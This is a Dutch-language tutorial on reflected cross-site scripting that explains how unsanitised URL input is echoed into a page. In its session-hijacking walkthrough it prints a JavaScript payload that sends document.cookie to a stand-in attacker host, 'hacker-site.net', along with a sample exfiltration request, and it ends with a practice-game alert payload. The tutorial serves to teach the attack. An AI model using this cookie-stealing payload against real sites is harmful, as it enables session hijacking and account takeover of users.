Wat is cross-site scripting?
Cross-Site Scripting (XSS) is tegenwoordig een van de meest populaire aanvalstechnieken, bekend als de Godfather of Attack, en wordt al jaren vermeld als de gevaarlijkste aanvalstechniek voor webapplicaties.
Noem het niet kortweg CSS om verwarring met het Cascading Style Sheet-concept van HTML te voorkomen.
De XSS-
techniek
Laten we, om het beter te begrijpen, het volgende voorbeeld bekijken. Een webapplicatie waarmee de waarde die we doorgeven via de URL kan worden afgedrukt, ervan uitgaande dat we in de naamvariabele de Ping-waarde doorgeven:

Tot nu toe is alles in orde, laten we de html-broncode bekijken:
![Web7: XSS-exploits – Deel 1: Gereflecteerde XSS Web7: XSS-exploits – Deel 1: Gereflecteerde XSS]()
Wat gemakkelijk te zien is, is dat de naamwaarde die we hebben ingevoerd, in de broncode is ingevoegd. Het is dus mogelijk dat wat geïmporteerd wordt ook kan worden ingevoegd. Het probleem wordt ernstig als de ingevoerde waarde geen normale string is zoals hierboven, maar een potentieel gevaarlijk stukje code, zoiets als dit:
Probeer het opnieuw met de bovenstaande waarde:
![Web7: XSS-exploits – Deel 1: Gereflecteerde XSS Web7: XSS-exploits – Deel 1: Gereflecteerde XSS]()
Uit dit voorbeeld kunnen we twee dingen concluderen. Ten eerste kan de naamvariabele elke invoerwaarde ontvangen en deze ter verwerking naar de server verzenden. Ten tweede heeft de server deze invoerwaarde niet gecontroleerd voordat deze naar de browser werd teruggestuurd. Dit leidt ertoe dat de javascript-code in de broncode wordt ingevoegd.
XSS wordt over het algemeen onderverdeeld in 3 hoofdtypen: Reflected, Stored en DOM-gebaseerd. In dit artikel zal ik vooral de Reflected XSS techniek noemen.
Tot 75% van de XSS-technieken zijn gebaseerd op Reflected XSS. Het wordt gereflecteerd genoemd omdat in dit soort exploitscenario de hacker het slachtoffer een URL moet sturen met kwaadaardige code (meestal javascript). Het slachtoffer hoeft deze URL alleen maar op te vragen en de hacker krijgt direct een reactie met het gewenste resultaat (reflexiviteit hiernaast). Daarnaast wordt het ook wel eerste orde XSS genoemd.
Realistisch mijnbouwscenario
Er zijn veel manieren om de Reflected XSS-fout te misbruiken, een van de meest bekende manieren is om de sessie van de gebruiker over te nemen, waardoor toegang wordt verkregen tot gegevens en het verkrijgen van hun rechten op de website.
Details worden beschreven in de volgende stappen:
![Web7: XSS-exploits – Deel 1: Gereflecteerde XSS Web7: XSS-exploits – Deel 1: Gereflecteerde XSS]()
1. De gebruiker logt in op internet en gaat ervan uit dat er een sessie is toegewezen:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
2. Op de een of andere manier stuurt de hacker de gebruiker de URL:
http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;
Stel dat example.com de website is die het slachtoffer bezoekt, hacker-site.net is de site die door de hacker is gemaakt
3. Het slachtoffer bezoekt de bovenstaande URL
4. De server reageert op het slachtoffer, samen met de gegevens in het verzoek (het javascriptfragment van de hacker)
5. De slachtofferbrowser ontvangt het antwoord en voert het javascript uit
6. Het daadwerkelijke javascript dat de hacker heeft gemaakt, is als volgt:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
De bovenstaande opdrachtregel doet in wezen een verzoek aan de site van de hacker met als parameter de gebruikerscookie:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net
7. Vanaf uw site zal de hacker de bovenstaande verzoekinhoud onderscheppen en de sessie van de gebruiker als overgenomen beschouwen. Op dit punt kan de hacker zich voordoen als het slachtoffer en alle rechten uitoefenen op de website die het slachtoffer heeft.
Oefening
Google heeft hier een pagina gemaakt om te oefenen met het exploiteren van XSS-fouten: https://xss-game.appspot.com
Het doel van deze uitdagingen is dat je scripts moet injecteren om een pop-up te laten verschijnen. De eerste uitdaging is om de weergegeven techniek te illustreren, de exploitatiecode is vrij eenvoudig:
https://xss-game.appspot.com/level1/frame?query=alert('pwned')
Succes!